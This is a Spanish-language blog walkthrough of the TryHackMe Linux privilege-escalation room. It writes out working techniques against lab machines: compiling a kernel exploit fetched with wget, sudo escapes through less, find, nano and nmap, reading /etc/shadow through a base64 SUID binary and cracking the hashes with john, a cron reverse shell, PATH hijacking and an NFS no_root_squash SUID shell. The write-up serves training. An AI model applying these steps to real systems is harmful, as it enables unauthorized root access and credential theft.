Entrada

TryHackMe - Escalada de Privilegios en Linux

Muchas formas diferentes de aumentar los privilegios en Linux

TryHackMe - Escalada de Privilegios en Linux

Introducción

La escalada de privilegios es imprescindible en las pruebas de penetración/piratería en general, ya que es una forma de obtener acceso completo a la máquina remota.

Tryhackme Room Link

¿Qué es la escalada de privilegios?

  • La escalada de privilegios es el proceso de obtener niveles de acceso o permisos más altos en un sistema que los otorgados originalmente.

Hay 2 tipos principales de escalada de privilegios:

  1. Escalada de privilegios vertical (elevación de privilegios): el atacante obtiene permisos de nivel superior, como pasar de una cuenta de usuario estándar a un acceso de administrador o de nivel raíz. Esto suele suceder explotando vulnerabilidades de software, configuraciones incorrectas o robo de credenciales.

  2. Escalada de privilegios horizontal: el atacante permanece en el mismo nivel de privilegio pero obtiene acceso a la cuenta o los recursos de otro usuario. Por ejemplo, un usuario normal puede obtener acceso a los datos privados de otro usuario.

Enumeración

Iniciemos la máquina y accedamos a ella a través de ssh usando las credenciales proporcionadas

1
2
ssh [email protected]
Password1

Room nos informa sobre los siguientes comandos básicos de enumeración de Linux

  • hostname - nombre de host de la máquina de destino
  • uname -a - imprime la información del sistema y detalles adicionales sobre el kernel utilizado por el sistema
  • /proc/version - muestra la versión del kernel y los detalles de la compilación
  • /etc/issue - muestra el texto de identificación del sistema (versión del SO)
  • ps - enumera los procesos en ejecución
  • env - muestra las variables del entorno
  • sudo -l - enumera los comandos sudo permitidos para el usuario
  • ls - enumera los archivos y directorios
  • id - muestra los ID de usuario y grupo
  • /etc/passwd - contiene información de la cuenta del usuario
  • history - muestra los comandos ejecutados anteriormente
  • ifconfig - muestra los detalles de la interfaz de red (obsoleto, use ip a)
  • netstat - muestra las conexiones y puertos de red (obsoleto, use ss)
  • find - busca archivos y directorios

¿Cuál es el nombre de host del sistema de destino?

1
2
hostname
wade7363

Respuesta:

1
wade7363

¿Cuál es la versión del kernel de Linux del sistema de destino?

1
2
uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Respuesta:

1
3.13.0-24-generic

¿Qué Linux es esto?

1
2
cat /etc/issue
Ubuntu 14.04 LTS

Respuesta:

1
Ubuntu 14.04 LTS

¿Qué versión del lenguaje Python está instalada en el sistema?

1
2
3
4
python
Python 2.7.6 (default, Mar 22 2014, 22:59:56) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.

Respuesta:

1
2.7.6

¿Qué vulnerabilidad parece afectar al núcleo del sistema de destino? (Ingrese un número CVE)

Para responder a esta pregunta, busquemos en Google la versión del núcleo y agreguemos CVE

CVE

Respuesta:

1
CVE-2015-1328

Herramientas de enumeración automatizada

Es bueno saber qué herramientas de automatización están disponibles. Personalmente, solo he utilizado “LinPeas”:

  1. LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
  2. LinEnum: https://github.com/rebootuser/LinEnum
  3. LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
  4. Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
  5. Linux Priv Checker: https://github.com/linted/linuxprivchecker

Escalada de privilegios: exploits del kernel

Bien, básicamente, Rooms nos dice que usemos el CVE que encontramos. Nuestros próximos pasos son:

  1. Descargar el exploit desde exploit.db
  2. Obtener el exploit en nuestra máquina víctima
  3. Compílelo y ejecútelo

Después de descargar el exploit, inicie el servidor http de Python donde está el archivo para que podamos descargarlo en nuestra máquina víctima

Máquina del atacante

1
2
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Máquina víctima (primero debemos ir a la carpeta /tmp porque no tenemos derechos de escritura en ningún otro lugar)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cd /tmp
$ wget http://10.14.99.72/37292.c
Connecting to 10.14.99.72:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’

100%[=====================================================================>] 5,119       --.-K/s   in 0s      

2025-03-02 10:11:16 (277 MB/s) - ‘37292.c’ saved [5119/5119]
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ gcc 37292.c -o 37292
$ ./37292
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id  
uid=0(root) gid=0(root) groups=0(root),1001(karen)

Y estamos consiguiendo nuestra primera bandera

Flag 1

Escalada de Privilegios: sudo

Veamos qué podemos ejecutar como sudo

1
2
3
4
5
sudo -l
User karen may run the following commands on ip-10-10-118-61:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

¿Cuántos programas puede ejecutar el usuario “karen” en el sistema de destino con derechos de sudo?

Respuesta:

1
3

¿Cuál es el contenido del archivo flag2.txt?

https://gtfobins.github.io/gtfobins/less/

Privilege Escalation using less
  1. Ejecute less como sudo
  2. Escriba !/bin/bash y esto generará nuestro shell
1
2
3
$ sudo less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)

Less

Escalada de privilegios mediante find

https://gtfobins.github.io/gtfobins/find/#sudo

1
2
3
sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Find

Escalada de privilegios mediante nano

https://gtfobins.github.io/gtfobins/nano/#sudo

  1. Ejecute nano como sudo
  2. Presione Ctrl + R, Ctrl + X
  3. Escriba reset; sh 1>&0 2>&0, ingrese
  4. Tenemos un shell raíz

Nano 1

Nano2

Y podemos conseguir la bandera2

Nano2

¿Cómo usarías Nmap para generar un shell root si tu usuario tuviera derechos de sudo en nmap?

Respuesta:

1
sudo nmap --interactive

¿Cuál es el hash de la contraseña de Frank?

Como ya somos root, simplemente busquemos el archivo shadow

Nano2

Escalada de Privilegios: SUID

En circunstancias normales, se configuran permisos para archivos y carpetas, pero esto cambia con SUID (Identificación de usuario establecida) Esto permite que los archivos se ejecuten con el nivel de permiso del propietario del archivo o del propietario del grupo

¿Qué usuario comparte el nombre de un gran escritor de cómics?

1
cat /etc/passwd

Writer

¿Cuál es la contraseña del usuario2?

1
base64 /etc/shadow | base64 --decode | tail

user2

Ahora simplemente desciframos el hash usando john

1
2
$ echo '$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/' > hash.txt
john hash.txt

Password

¿Cuál es el contenido del archivo flag3.txt?

Parece que no podemos leer la bandera directamente, pero necesitaremos usar el mismo comando base64 para leerla

Flag 3

Escalada de Privilegios: Capacidades

¿Cuántos archivos binarios tienen capacidades establecidas?

Bien, mientras la sala nos guía para almacenar la salida en /dev/null, hacemos lo siguiente

1
getcap -r / 2>/dev/null

getcap

¿Qué otro binario se puede utilizar gracias a sus capacidades?

Room nos muestra el exploit para el binario vim, por lo que el otro que se puede utilizar es view

Respuesta:

1
view

¿Cuál es el contenido del archivo flag4.txt?

1
2
find / -name flag4.txt 2>/dev/null
/home/ubuntu/flag4.txt

Escalada de Privilegios: Trabajos cron

3 puntos principales:

  • Los trabajos cron ejecutan scripts en horarios programados con los privilegios de su propietario
  • Si un trabajo cron propiedad de un usuario root ejecuta un script que podemos modificar, podemos escalar privilegios
  • Para listar los trabajos cron actuales, podemos ver /etc/crontab

Podemos cat el archivo y tenemos una explicación increíble

Crontab

¿Cuántos trabajos cron definidos por el usuario puedes ver en el sistema de destino?

Respuesta:

1
4

¿Cuál es el contenido del archivo flag5.txt?

Así que pongamos nuestro script de shell inverso en el archivo backup.sh y esperemos a que se ejecute el cronjob (No olvide iniciar el receptor netcat en la máquina del atacante)

1
nano backup.sh

Crontab

Ok, después de unos minutos me di cuenta de que el archivo no se puede ejecutar :D agreguemos ejecutar al archivo

1
chmod +x backup.sh

Y después de un rato recibimos una conexión.

Shell

Flag5

¿Cuál es la contraseña de Matt?

Bien, entonces hacemos lo siguiente:

  1. Archivo shadow cat
  2. Guardamos el hash de la contraseña de Matt en un archivo hash2.txt (en este caso)
  3. Desciframos el hash usando john

Matt hash

Matt pass

Escalada de privilegios: PATH

Principio básico:

  • Si hay una carpeta escribible en PATH, puedes secuestrar archivos ejecutables colocando un script malicioso con el mismo nombre que un comando de uso común
  • Cuando el sistema busca el comando, puede ejecutar tu script en su lugar, lo que puede provocar una escalada de privilegios

¿Cuál es la carpeta extraña para la que tienes acceso de escritura?

Podemos comprobar para qué tenemos acceso de escritura usando el comando find

1
find / -writable 2>/dev/null | tail

Después de un tiempo el comando nos da resultados

Path

Respuesta:

1
/home/murdoch

¿Cuál es el contenido del archivo flag6.txt?

Ok, esto me llevó un tiempo, pero así es como podemos hacerlo

  1. Cambiar el directorio a /home/murdoch
  2. Escribir /bin/bash en el archivo thm ya que lo ejecutaremos
  3. Mostrar el $PATH actual (solo verifique dos veces)
  4. Exportar la variable de ruta y cambiarla al directorio actual
  5. Ejecutar el archivo test
1
2
3
4
5
6
7
8
9
10
$ cd /home/murdoch
$ echo '/bin/bash' > thm
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
root@ip-10-10-215-168:/home/murdoch# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)

Matt pass

Y podemos encontrar y listar nuestra bandera

Matt pass

Escalada de privilegios: NFS

¿Cuántos recursos compartidos montables puedes identificar en el sistema de destino?

Primero, debemos montar la máquina víctima en nuestra máquina atacante

1
showmount -e 10.10.175.134

NFS 1

¿Cuántas acciones tienen habilitada la opción “no_root_squash”?

En la máquina víctima:

1
cat /etc/exports

NFS 2

¿Cuál es el contenido del archivo flag7.txt?

Entonces, lo que podemos hacer es:

  1. Crear una carpeta en nuestro directorio /tmp para montar el recurso compartido NFS
  2. Montar la unidad
  3. Crear el archivo de script para ejecutar /bin/bash
  4. Compilarlo y configurar los permisos correctos para él
  5. Cambiar a la máquina de destino y ejecutar el ejecutable
1
2
3
4
5
mkdir /tmp/nfscd /tmp/nfs
mount -o rw 10.10.175.134:/home/ubuntu/sharedfolder /tmp/nfs
nano shell
gcc shell.c -o shell -w
chmod +s shell

Capstone Challenge

Este parece ser el desafío final, así que terminemos con él.

Inicie sesión en la máquina mediante SSH y verifique si podemos ejecutar algo como sudo

1
2
3
4
5
6
7
8
9
10
11
12
13
ssh [email protected]
[leonard@ip-10-10-249-6 ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for leonard: 
Sorry, user leonard may not run sudo on ip-10-10-249-6.
[leonard@ip-10-10-249-6 ~]$ 

Lamentablemente, no podemos ejecutar nada como sudo. Así que sigamos con los pasos que hemos aprendido a lo largo del camino.

Fuel CMS

No hay cronjobs disponibles Comprobemos los archivos con el bit SUID configurado

1
find / -type f -perm -u=s 2>/dev/null

Bandera 2

¡Parece que podemos volver a utilizar base64!

base64

Bueno, después de unos cuantos intentos, tuvimos suerte.

Flag 2

Bandera 1

Parece que flag1.txt se encuentra en otro lugar Intentemos obtener la contraseña del usuario missy

  1. Obtenga el hash del archivo /etc/shadow
  2. Descifre el hash usando john
1
base64 /etc/shadow | base64 --decode | grep missy

Missy

Y descifra el hash usando john

Missy pass

Así que podemos cambiar a missy y comprobar los archivos disponibles.

1
su missy

Y encontramos la ubicación y el contenido de flag1.txt

Flag 1

No estoy seguro de si debía resolverse de esta manera, ya que coloqué las banderas en el orden incorrecto, pero aún hay varias formas de llegar a la meta.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.